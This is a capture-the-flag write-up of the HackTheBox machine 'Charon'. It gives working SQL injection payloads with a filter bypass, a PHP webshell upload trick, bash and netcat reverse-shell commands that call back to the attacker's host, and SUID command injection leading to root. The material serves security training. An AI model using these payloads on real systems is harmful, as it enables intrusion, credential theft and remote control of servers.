Another 2017 box, but this one was a lot of fun. There’s an SQL injection the designed to break sqlmap (I didn’t bother to go into sqlmap, but once I finished saw from others). Then there’s a file upload, some crypto, and a command injection. I went into good detail on the manual SQLI and the RSA crypto. In Beyond Root, I’ll look at a second SQLI that didn’t prove usefu, and at the filters I had to bypass on the useful SQLI.

Box Stats

Name: Charon Charon
Release Date: 07 Jul 2017
Retire Date: 04 Nov 2017
OS: Linux Linux
Base Points: Hard [40]
Rated Difficulty: Rated difficulty for Charon
Radar Graph: Radar chart for Charon
First Blood User vagmour vagmour 00 days, 04 hours, 20 mins, 21 seconds
First Blood Root ReverseBrain ReverseBrain 00 days, 06 hours, 06 mins, 19 seconds
Creator: decoder decoder



nmap found two open TCP ports, SSH (22) and HTTP (80):

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.91 ( ) at 2021-02-09 17:15 EST
Nmap scan report for
Host is up (0.012s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
oxdf@parrot$ nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.91 ( ) at 2021-02-09 17:15 EST
Nmap scan report for
Host is up (0.014s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09:c7:fb:a2:4b:53:1a:7a:f3:30:5e:b8:6e:ec:83:ee (RSA)
|   256 97:e0:ba:96:17:d4:a1:bb:32:24:f4:e5:15:b4:8a:ec (ECDSA)
|_  256 e8:9e:0b:1c:e7:2d:b6:c9:68:46:7c:b3:32:ea:e9:ef (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Frozen Yogurt Shop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.22 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu Xenial 16.04.

Website - TCP 80


The site is for a Frozen dessert company:

The various links of around the site lead to different HTML pages (index.html, about.html, product.html, and blog.html). There’s also a link under Blog for “Single Post”, which leads to /singlepost.php?id=10. There are posts at id 10, 11, and 12. It is confirmation that the site runs on PHP.

Directory Brute Force

I’ll run gobuster against the site, and include -x php since I know the site is PHP:

oxdf@parrot$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2021/02/09 17:37:22 Starting gobuster
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/include (Status: 301)
/fonts (Status: 301)
/cmsdata (Status: 301)
2021/02/09 17:38:32 Finished

/cmsdata is interesting, but returns 403 forbidden. I’ll try another gobuster here:

oxdf@parrot$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-cmsdata-small-php -t 40
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2021/02/09 21:39:16 Starting gobuster
/images (Status: 301)
/login.php (Status: 200)
/scripts (Status: 301)
/menu.php (Status: 302)
/upload.php (Status: 302)
/css (Status: 301)
/js (Status: 301)
/include (Status: 301)
/forgot.php (Status: 200)
2021/02/09 21:40:20 Finished

menu.php and upload.php are interesting, but they both redirect to login.php.


This presents a login form:


I tried some basic standard guesses, but without any luck.

The “Forgot password?” link leads to forgot.php which has a single field form:


If I guess something that can’t be in the DB (like, it returns:


I tried a few things that might be on Charon (admin@charon.htb, etc), but just got the same message back.

If I try something that isn’t an email, it returns a different message:


a@b.c is enough to pass as a valid email.

Shell as www-data


Identify SQLI

In the password reset form, I tried', and the message changed:


That’s a promising sign for SQL injection.


There’s a few ways to test. I could go into Burp Proxy’s history and send one of the POST requests to Repeater. That works, but the text I’m looking for is at the bottom of the page each time, which is kind of annoying to scroll through.

Looking at the error message, it’s at the very bottom of the returned HTML:

        <h2> User not found with that email!    

Same with the database error:

        <h2> Error in Database!    

And it seems to come right after the <h2> tag. I’ll move to curl piped into grep '<h2>'. The other thing that’s nice about curl is I can use the --data-urlencode field, which allows me to not worry about encoding the data, which makes it more readable.

oxdf@parrot$ curl -s --data-urlencode "" | grep '<h2>'
        <h2> User not found with that email!
oxdf@parrot$ curl -s --data-urlencode "'" | grep '<h2>'
        <h2> Error in Database!

Now I can easily up arrow to get the previous command, modify it, and get the result in a single line.

Develop SQLI

The next thing I want to do is see if I can make a legit query. I’m guessing that the query looks something like:

SELECT * from users where email = '{input email}';

I can start with ' or 1=1;-- -, which would make:

SELECT * from users where email = '' or 1=1;-- -';

That returns incorrect format, so I need to pass the email address check. Try a@b.c' or 1=1;-- -:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' or 1=1;-- -" | grep '<h2>'
        <h2> User not found with that email!

It’s not uncommon for this kind of search to fail with 0 rows or more than 1 row returned. I’ll try limiting the search to just one result:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' or 1=1 limit 1;-- -" | grep '<h2>'
        <h2> Email sent to:>test1

It worked! I got back an email and a likely username!

Enumerate Users

I can quickly turn this into a Bash loop to find all the users in the DB (though this step isn’t necessary, but it’s a useful explanation of my love of Bash one-liners). I’ll break this down here with extra spacing:

for i in {1..1000}; do 
    curl -s --data-urlencode "email=a@b.c' or 1=1 limit ${i},1;-- -" 
    | grep '<h2>' 
    | awk '{print $5}' 
    | grep -v "^with" || break; 

I’ll loop over $i with some impossibly high number I don’t plan to hit (I had to make it higher than I expected). For each $i, I’ll query with the limit starting that the $i, and getting one result. That entire HTML page is pipped into a grep on the <h2> line to get the response message. That line will look something like:

        <h2> Email sent to:>test175

I really only want the email and username, so I’ll use awk to just print the fifth column. When I get past the last user, I’ll get lines like:

        <h2> User not found with that email!

When that is fed into awk, the result will be with. So I’ll do a grep -v to remove those lines. But since grep -v returns false when it matches, I can do || break to exit the first time it matches, so I don’t have to finish the rest of the count.

In practice that looks like:

oxdf@parrot$ for i in {1..1000}; do curl -s --data-urlencode "email=a@b.c' or 1=1 limit ${i},1;-- -" | grep '<h2>' | awk '{print $5}' | grep -v "^with" || break; done>test2>test3>test4>test5>test6>test7

Identify Filter / WAF

I’ll explain Union injection in the next section, but to start, I need to identify the number of columns coming back from the query being made. I’ll do that by starting with UNION SELECT 1,2 (as I know there are at least two columns, email and username). If this matches the number of columns returned, I would see at least some of those values displayed back to me, but if not, it would cause a database error (like what I’ve seen already).

However, when I send the first test, I see nothing back. I’ll remove the grep, and the entire response is just “Error”:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' union select 1,2;-- -" | grep '<h2>'
oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' union select 1,2;-- -"

That’s something different. This feels more like some kind of filtering / web application firewall (WAF). I can test this by putting some of the key words in different places and seeing what I get. For example, look at these two queries:

SELECT * from users where email = 'a@b.c';-- -';
SELECT * from users where email = 'a@b.c';-- -'; UNION

From an SQL point of view, they are exactly the same, as the UNION comes after the comment (-- -). But the site responds totally differently:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c';-- -" | grep '<h2>'
        <h2> User not found with that email!    
oxdf@parrot$ curl -s --data-urlencode "email=a@b.c';-- - UNION"

UNION is clearly a bad word. However, UNiON isn’t:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c';-- - UNiON" | grep '<h2>'
        <h2> User not found with that email!

In fact, just that one character change allows the query I was trying to make in the first place:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,2;-- -" | grep '<h2>'
        <h2> Error in Database!

Find Union Injection

There’s not much I can do with those users, so back to enumerating the database. It looks like at least two fields are displayed back to me in the message. I’ll try Union Injection to read other parts of the database. UNION in SQL does two queries, and as long as they return the same number of columns, it stacks the rows from the first query on top of the rows from the second query. In this case, if I can make the first query (the intended query based on email address) return no rows, then I can build the row I want to actually return based on other queries.

The first task is to find the number of columns that match, and which fields are output. I already showed how two columns caused a mismatch. Three does as well, but with four, the message changes:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,2,3;-- -" | grep '<h2>'
        <h2> Error in Database!    
oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,2,3,4;-- -" | grep '<h2>'
        <h2> Incorrect format

“Incorrect format” was the error message when the result wasn’t an email address. I can guess that one of the four columns is the email address, so I’ll try something that meets that format in each column one at a time and see if any work:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 'a@b.c',2,3,4;-- -" | grep '<h2>'
        <h2> Incorrect format    
oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,'a@b.c',3,4;-- -" | grep '<h2>'
        <h2> Incorrect format    
oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,2,'a@b.c',4;-- -" | grep '<h2>'
        <h2> Incorrect format    
oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,2,3,'a@b.c';-- -" | grep '<h2>'
        <h2> Email sent to: a@b.c=>2   

The last one worked, and it’s also displaying 2 back, which means I can put data in that field and get it printed to me. For example, to get the DB version:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,version(),3,'a@b.c';-- -" | grep '<h2>'
        <h2> Email sent to: a@b.c=>5.7.18-0ubuntu0.16.04.1 

Enumerate DB

I’ll start by listing the databased in the database. These are kept int the schema_name column of the information_schema.schemata table. The first is the information_schema database:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit 1;-- -" | grep '<h2>'
        <h2> Email sent to: a@b.c=>information_schema

I can do a similar loop as before:

oxdf@parrot$ for i in {0..100}; do curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit ${i},1;-- -" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; done | cut -d'>' -f2

But even cooler is the GROUP_CONCAT SQL function, which will combine an entire column into one result:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(schema_name),3,'a@b.c' from information_schema.schemata;-- -" | grep '<h2>'
        <h2> Email sent to: a@b.c=>information_schema,supercms 

Or made more pretty with cut and tr:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(schema_name),3,'a@b.c' from information_schema.schemata;-- -" | grep '<h2>' | cut -d'>' -f3 | tr ',' '\n'

The query to get the tables in the supercms database would be:

SELECT table_name from information_schema.tables where table_schema="supercms"

Translated into the injection, that looks like:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(table_name),3,'a@b.c' from information_schema.tables where table_schema='supercms';-- -" | grep '<h2>' | cut -d'>' -f3 | tr ',' '\n'

I can list the columns from each table:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(column_name),3,'a@b.c' from information_schema.columns where table_name='groups';-- -" | grep '<h2>' | cut -d'>' -f3 | tr ',' '\n'

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(column_name),3,'a@b.c' from information_schema.columns where table_name='license';-- -" | grep '<h2>' | cut -d'>' -f3 | tr ',' '\n'

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(column_name),3,'a@b.c' from information_schema.columns where table_name='operators';-- -" | grep '<h2>' | cut -d'>' -f3 | tr ',' '\n'

With group_concat and concat together I can build a single query that dumps the usernames and passwords, but it must hit some kind of max response length:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(concat(__username_, ':', __password_)),3,'a@b.c' from operators ;-- -" | grep '<h2>' | cut -d'>' -f3 | tr ',' '\n'

That’s ok, I can use WHERE in the SQL to get rid of those. I’ll check two ways - first for users that don’t start with test, and then for users that don’t have that password hash starting with 5f4dcc3b:

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(concat(__username_, ':', __password_)),3,'a@b.c' from operators where __username_ NOT LIKE 't%';-- -" | grep '<h2>' | cut -d'>' -f3 | tr ',' '\n'

oxdf@parrot$ curl -s --data-urlencode "email=a@b.c' UNiON SELECT 1,group_concat(concat(__username_, ':', __password_)),3,'a@b.c' from operators where __password_ != '5f4dcc3b5aa765d61d8327deb882cf99';-- -" | grep '<h2>' | cut -d'>' -f3 | tr ',' '\n'

Crask Passwords

Before loading Hashcat, I’ll always check some online resources to see if the compute has already been done. These are 32 hex characters, which suggests MD5 hash, so it’s quite likely that they are already broken if they are meant to be broken. CrackStation has both:


Upload Webshell

Access CMS

At the login page, logging in as decoder this:


The login works, as an editor role, but there are no options.

The test accounts have no role, and don’t even get the empty list of options:


super_cms_adm has the administrators role, and options:


I can update the various static HTML pages on the site, but that doesn’t buy me too much. If I had no other ideas, I could try putting some malicious javascript on the page and see if an admin visits and requests it from my site, but that doesn’t seem likely in this case.

Enumerate Upload

The other link is to “Upload Image File”, which goes to upload.php:


When I select an image and push “Submit Query”, it sends a POST request to upload.php, and the response tells me where the image is:


My image is at

Bypass Filter

I’ll work with a small webshell, cmd.php:

<?php system($_REQUEST["cmd"]); ?>

If I try to upload cmd.php, it pops a message box:


This is done without any requests being sent to the server, so it’s coming from local JavaScript.

I’ll change the name of the small webshell to cmd.jpg, turn on Burp intercept, and upload it. The request looks like:

POST /cmsdata/upload.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------15172911769797472052954530234
Content-Length: 253
DNT: 1
Connection: close
Cookie: PHPSESSID=488jcl3fcrq3ve898p14t9v682
Upgrade-Insecure-Requests: 1

Content-Disposition: form-data; name="image"; filename="cmd.jpg"
Content-Type: image/jpeg

<?php system($_REQUEST["cmd"]); ?>


I’ll change the filename back to cmd.php, and then forward the request, but it returns an error:


There are three ways that a server typically filters on file type:

  • File extension
  • Content-Type
  • Magic bytes / MIME type

I’m already submitting this with a Content-Type: image/jpeg, so it must be more than that. The message suggests it’s restricting on extension. If I just upload cmd.jpg and don’t change the name, it still complains:


Based on this, I think it’s filtering on both the given extension and the magic bytes. I have another short webshell that starts off with the header of a PNG file, but then is a webshell:

oxdf@parrot$ cat /opt/shells/php/cmd.php.png 

<?php system($_REQUEST["cmd"]); ?>

The file command will show this as a PNG file:

oxdf@parrot$ file /opt/shells/php/cmd.php.png
/opt/shells/php/cmd.php.png: PNG image data, 1478 x 540, 8-bit/color RGB, non-interlaced

It uploads!


However, because it’s a .png, the server isn’t executing it as PHP code:

oxdf@parrot$ curl -o-

<?php system($_REQUEST["cmd"]); ?>


Looking at the page source for the form, there’s a commented out form field:

<form action="upload.php" method="POST" onsubmit="javascript:return ValidateImage(this);" name="frm" enctype="multipart/form-data">
<input type="file" name="image" />
<!-- <input type=hidden name="dGVzdGZpbGUx"> -->
<input type="submit"/>

I’ll set Burp to intercept responses and refresh upload.php. I’ll edit the response so this field is no longer commented out.

This time when I try to upload an image, there’s an additional field submitted (empty):

POST /cmsdata/upload.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------308256804225396707191772294964
Content-Length: 13251
DNT: 1
Connection: close
Cookie: PHPSESSID=488jcl3fcrq3ve898p14t9v682
Upgrade-Insecure-Requests: 1

Content-Disposition: form-data; name="image"; filename="image-20201109063341108.png"
Content-Type: image/png

Content-Disposition: form-data; name="dGVzdGZpbGUx"


The result is still the same.


I’ll send that request over to repeater, and try adding some a value to the new form item, but still nothing changed.

The field name is a bit weird, and it looks like it could be base64-encoded:

oxdf@parrot$ echo "dGVzdGZpbGUx" | base64 -d

If I try that as the name of the field instead of “dGVzdGZpbGUx”, something interesting happens:


It saved the file as ../images/[my input]. Changing test to cmd.php works as well:


In this test, I’ve been using a legit image, but I’ll hack away much of it, and replace it with a webshell:


The webshell works:

oxdf@parrot$ curl -d "cmd=id" -o-

IHDR-] IDATxy|R09-      T       `-QQ ̰
uid=33(www-data) gid=33(www-data) groups=33(www-data)
@B$ @B$ @B$ @B$ @B$ @Q%IENDB`


To trigger a reverse shell, I’ll use the common Bash reverse shell:

oxdf@parrot$ curl -d "cmd=bash -c 'bash -i >%26 /dev/tcp/ 0>%261'"

I need to encode the & lest the server interpret them as a new parameter. At nc, a shell returns:

oxdf@parrot$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 60846
bash: cannot set terminal process group (1305): Inappropriate ioctl for device
bash: no job control in this shell
www-data@charon:/var/www/html/freeeze/images$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I’ll upgrade my shell using the normal method:

www-data@charon:/var/www/html/freeeze/images$ python -c 'import pty;pty.spawn("bash")'
<ml/freeeze/images$ python -c 'import pty;pty.spawn("bash")'                  
www-data@charon:/var/www/html/freeeze/images$ ^Z
[1]+  Stopped                 sudo nc -lnvp 443
oxdf@parrot$ stty raw -echo ; fg
sudo nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as decoder


There’s a single directory in /home for user decoder. I can’t access user.txt, but there are two other files of interest:

www-data@charon:/home/decoder$ ls -l
total 12
-rw-r--r-- 1 decoder freeeze 138 Jun 23  2017
-rw-r--r-- 1 decoder freeeze  32 Jun 23  2017 pass.crypt
-r-------- 1 decoder freeeze  33 Jun 23  2017 user.txt is a public key, and pass.crypt is binary junk (shown with xxd as a hexdump):

www-data@charon:/home/decoder$ cat 
-----END PUBLIC KEY-----
www-data@charon:/home/decoder$ xxd pass.crypt 
00000000: 9932 4fad 5362 89a1 e2d1 8dd0 2265 cd7f  .2O.Sb......"e..
00000010: 1557 9d67 9c89 dd19 54c8 c56f 378d 1149  .W.g....T..o7..I

I’ll make copies of each file on my local vm. I can just copy using my clipboard. I’ll base64-encode pass.crypt:

www-data@charon:/home/decoder$ base64 pass.crypt 

Then on my local machine:

oxdf@parrot$ echo "mTJPrVNiiaHi0Y3QImXNfxVXnWecid0ZVMjFbzeNEUk=" | base64 -d > pass.crypt

Manual Crypt

RSA Theory

RSA encryption involves a key pair. Typically the two keys are referred to as the public key and the private key. The public key is really just two numbers, n and e. The private key is also two numbers, n and d. To encrypt a message, convert that into an int, M, and then

\[ciphertext=M^d \pmod n\]

To decrpy the message, I’ll raise the ciphertext to e (from the public key) mod n:

\[M = ciphertext^e \pmod n\]

This only works with specific e, d, and n. n will be the product of two large prime numbers. If I can factor n, I can calculate d (and thus have the private key).

Find Constants

As I’ll be working in a Python REPL for the math, I’ll use that to load the public key:

oxdf@parrot$ python3
Python 3.9.1+ (default, Jan 20 2021, 14:49:22) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.PublicKey import RSA
>>> with open('', 'r') as f:
...     key = RSA.importKey(
>>> key.n
>>> key.e

That n looks really small. For comparison, I just created a dummy default key pair using ssh-keygen:

>>> with open('/home/oxdf/.ssh/', 'r') as f:
...     example_key = RSA.importKey(
>>> example_key.n

There are attacks for trying to factor smaller numbers like this, but first I’ll check factordb, and it has the factors:


Those two numbers will be called p and q (doesn’t matter which is which). To calculate d, I need to solve:

\[d*e \pmod \phi \equiv 1\]



Luckily for me, Python3 now has mod inverse built into the pow function, so this is solved by:

>>> p = 280651103481631199181053614640888768819
>>> q = 303441468941236417171803802700358403049
>>> d = pow(key.e, -1, (p-1)*(q-1))
>>> d

Decrypt Message

I’ll need the message as an integer. In the past I’ve done some tricks with binascii, but Python3 now has int.from_bytes which works nicely.

>>> with open('pass.crypt', 'rb') as f:
...     ct =
>>> int.from_bytes(ct, byteorder='big')

To find the plaintext, now just raise that to d and take the mod:

>>> pow(int.from_bytes(ct, 'big'), d, key.n)

I can convert that int back to bytes. I need to give it a size, and it will error if the size isn’t enough to hold the output. As the input was 32 bytes, I’ll use that:

>>> pow(int.from_bytes(ct, 'big'), d, key.n).to_bytes(32, 'big')

RsaCtfTool [Alternative]

RsaCtfTool is a really handy tool for these kinds of attacked. I’ll clone it from GitHub, and run the install steps (sudo apt install libmpc-dev libgmp3-dev sagemath and pip3 install -r requirements.txt). Now I can let it attack the key and ciphertext:

oxdf@parrot$ /opt/RsaCtfTool/ --publickey --uncipherfile pass.crypt --private

[*] Testing key
[*] Performing binary_polinomial_factoring attack on
[*] Performing boneh_durfee attack on
[*] Performing cm_factor attack on
[*] Performing comfact_cn attack on
[*] Performing cube_root attack on
[*] Performing ecm attack on
[*] Performing ecm2 attack on
[*] Performing euler attack on
[*] Performing factordb attack on

Results for

Private key :

Unciphered data :
HEX : 0x00021196a931fb13d436ba006e657665726d696e64746865626f6c6c6f636b73
INT (big endian) : 3655085627790469570380129333780400348613722126708034993143159448855079795
INT (little endian) : 52205716499867669216750913608236715324790992710306887276016202900746710090240
STR : b'\x00\x02\x11\x96\xa91\xfb\x13\xd46\xba\x00nevermindthebollocks'

The factordb attack is the one that works, and it gives the same output.

su / SSH

That password works for both su from my current shell:

www-data@charon:/home/decoder$ su - decoder      

And for SSH access:

oxdf@parrot$ sshpass -p nevermindthebollocks ssh decoder@
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic x86_64)

 * Documentation:
 * Management:
 * Support:

34 packages can be updated.
23 updates are security updates.

Last login: Thu Feb 11 18:10:47 2021 from

I now have access to user.txt:

$ cat user.txt

Additionally, despite having a clean SSH terminal, I’m not able to up arrow to get previous commands. This drives me insane. There’s three things to check to turn it back on. First, I need to switch to Bash from decoder’s default shell of sh:

$ bash        

Next, the set -o command will show history is off. I’ll turn it back on:

decoder@charon:~$ set -o | grep history
history         off
decoder@charon:~$ set -o history
decoder@charon:~$ set -o | grep history
history         on

That solves the issue on most boxes, but this one it still doesn’t work. In the .bashrc file, HISTSIZE is set to 0:

decoder@charon:~$ grep HIST ~/.bashrc
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)

I’ll make it really big:

decoder@charon:~$ export HISTSIZE=1000000000

From this point on (starting with the next command), I’ll have up arrow.

Shell as root


One of my quick manual checks is to look for SUID binaries set to run as root. The very top one jumps out as unusual:

decoder@charon:~$ find / -perm -4000 -ls 2>/dev/null
    11731     12 -rwsr-x---   1 root     freeeze      9120 Jun 24  2017 /usr/local/bin/supershell

If I run it, it prints the usage:

decoder@charon:~$ supershell 
Supershell (very beta)
usage: supershell <cmd>

Unfortunately, nothing I run seems to return anything:

decoder@charon:~$ supershell ls
Supershell (very beta)
decoder@charon:~$ supershell id
Supershell (very beta)
decoder@charon:~$ supershell pwd
Supershell (very beta)



The quickest way to get a feel for what this binary is doing is to run it with ltrace, which will print all the library calls it’s making:

decoder@charon:~$ ltrace supershell id
__libc_start_main(0x40082f, 2, 0x7ffe641715d8, 0x400940 <unfinished ...>
puts("Supershell (very beta)"Supershell (very beta)
)                                                = 23
strncpy(0x7ffe641713e0, "id", 255)                                            = 0x7ffe641713e0
strcspn("id", "|`&><'"\\[]{};#")                                              = 2
strlen("id")                                                                  = 2
strncmp("id", "/bin/ls", 7)                                                   = 58
+++ exited (status 0) +++

It prints the banner, then copies my input (id, up to 255 bytes). It then calls strcspn("id", "|&><'"\\[]{};#") . This returns the number of characters in the first string before reaching a common character in the string. Given the characters in the static string, I suspect this is a blacklist of not allowed characters, trying to prevent command injection. Immediately after it calls strlen on my input, and I can guess that if the length and the strcspn are different, it will exit. I can test this:

decoder@charon:~$ ltrace supershell "ls|ls"
__libc_start_main(0x40082f, 2, 0x7ffec3cabdd8, 0x400940 <unfinished ...>
puts("Supershell (very beta)"Supershell (very beta)
)                                                = 23
strncpy(0x7ffec3cabbe0, "ls|ls", 255)                                         = 0x7ffec3cabbe0
strcspn("ls|ls", "|`&><'"\\[]{};#")                                           = 2
strlen("ls|ls")                                                               = 5
exit(1 <no return ...>
+++ exited (status 1) +++

Then it compares the input to /bin/ls, and exits. What if I pass /bin/ls:

decoder@charon:~$ ltrace supershell /bin/ls
__libc_start_main(0x40082f, 2, 0x7ffcf5774038, 0x400940 <unfinished ...>
puts("Supershell (very beta)"Supershell (very beta)
)                                                = 23
strncpy(0x7ffcf5773e40, "/bin/ls", 255)                                       = 0x7ffcf5773e40
strcspn("/bin/ls", "|`&><'"\\[]{};#")                                         = 7
strlen("/bin/ls")                                                             = 7
strncmp("/bin/ls", "/bin/ls", 7)                                              = 0
printf("++[%s]\n", "/bin/ls"++[/bin/ls]
)                                                 = 12
setuid(0)                                                                     = -1
system("/bin/ls"  pass.crypt  user.txt
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                        = 0
+++ exited (status 0) +++

It keeps going, raising privs to root, and calling system on my input.


I’ll grab a copy of supershell using scp:

oxdf@parrot$ sshpass -p nevermindthebollocks scp decoder@ .

I’ll open the file in Ghidra, analyze with the default plugins, and then jump over to the main function. I always like to spend a minute renaming variables to make sure I can see what it’s doing:

int main(int argc,long argv)

  int res;
  long in_FS_OFFSET;
  char input [264];
  long canary;
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("Supershell (very beta)");
  if (argc != 2) {
    puts("usage: supershell <cmd>");
                    /* WARNING: Subroutine does not return */
  strncpy(input,*(char **)(argv + 8),0xff);
  res = tonto_chi_legge(input);
  if (res != 0) {
                    /* WARNING: Subroutine does not return */
  res = strncmp(input,"/bin/ls",7);
  if (res == 0) {
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
  return 0;

So if the number of args isn’t two (program name and one more), it returns and exits, printing the usage.

Then it looks at the first argument, and passes it to tonto_chi_legge (name was already there, not sure where it comes from). If the result is non-zero, it exits. Then it compares the first seven characters to /bin/ls. If it matches, it prints, sets the priv to root, and callsed system(input).

So far, I know I need to pass in one arg, and the first seven characters must be “/bin/ls”. I also need tonto_chi_legge to return non-zero. I’ll look at that:

int tonto_chi_legge(char *input)

  int retval;
  size_t strcspn_res;
  size_t strlen_res;
  if (input == (char *)0x0) {
    retval = 0;
  else {
    strcspn_res = strcspn(input,"|`&><\'\"\\[]{};#");
    strlen_res = strlen(input);
    if ((long)(int)strcspn_res == strlen_res) {
      retval = 0;
    else {
      retval = 1;
  return retval;

This is where it uses the two calls to make sure that none of the characters in the blacklist are present in the input.

Exploit for Read

With the program figured out, I can easily list the files in /root:

decoder@charon:~$ supershell '/bin/ls -la /root'
Supershell (very beta)
++[/bin/ls -la /root]
total 28
drwx------  4 root root 4096 Feb 11 19:11 .
drwxr-xr-x 23 root root 4096 Jun 26  2017 ..
-rw-r--r--  1 root root    1 Dec 24  2017 .bash_history
drwx------  2 root root 4096 Jun 23  2017 .cache
drwxr-xr-x  2 root root 4096 Jun 27  2017 .nano
-r--------  1 root root   33 Jun 23  2017 root.txt
-rw-------  1 root root 2687 Jun 26  2017 .viminfo

To read a file, I need to go further. When I saw the blacklist of characters, immediately $() jumped out at me as not blocked. That means I can run a subshell to read the flag:

decoder@charon:~$ supershell '/bin/ls $(cat /root/root.txt)'
Supershell (very beta)
++[/bin/ls $(cat /root/root.txt)]
/bin/ls: cannot access 'c59a840463acc6ca14f6599721c9c18e': No such file or directory

When the subshell evaluates, it returns the flag value, and then it tries to run ls c59a840463acc6ca14f6599721c9c18e, but since that file doesn’t exist, it returns an error. Still good enough to get the flag.

It is important to put the argument for supershell in single quotes and not double quote. In double quotes, it will evaluate in my terminal, and then pass the results into supershell:

decoder@charon:~$ supershell "/bin/ls$(cat /root/root.txt)"
cat: /root/root.txt: Permission denied
Supershell (very beta)
++[/bin/ls]  pass.crypt  user.txt

Exploit for Shell


With command execution, I can shoot for a reverse shell. The problem is that all reverse shell I know of require characters from the excluded list…except one, the old nc -e. Unfortunately, the nc on this host doesn’t have it (check nc -h, and there’s no nc.traditional). Still, I can upload it. I’ll start a Python HTTP server in /usr/bin, and get it:

decoder@charon:/dev/shm$ wget
--2021-02-11 18:39:06--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 34952 (34K) [application/octet-stream]
Saving to: ‘nc.traditional’

nc.traditional                  100%[======================================================>]  34.13K  --.-KB/s    in 0.02s

2021-02-11 18:39:06 (2.18 MB/s) - ‘nc.traditional’ saved [34952/34952]  

Now I can run that in the command injection and get a shell:

decoder@charon:/dev/shm$ supershell '/bin/ls $(/dev/shm/nc.traditional -e /bin/bash 443)'
Supershell (very beta)
++[/bin/ls $(/dev/shm/nc.traditional -e /bin/bash 443)]

At nc:

oxdf@parrot$ sudo nc -lnvp 443
listening on [any] 443 ...                                     
connect to [] from (UNKNOWN) [] 60862
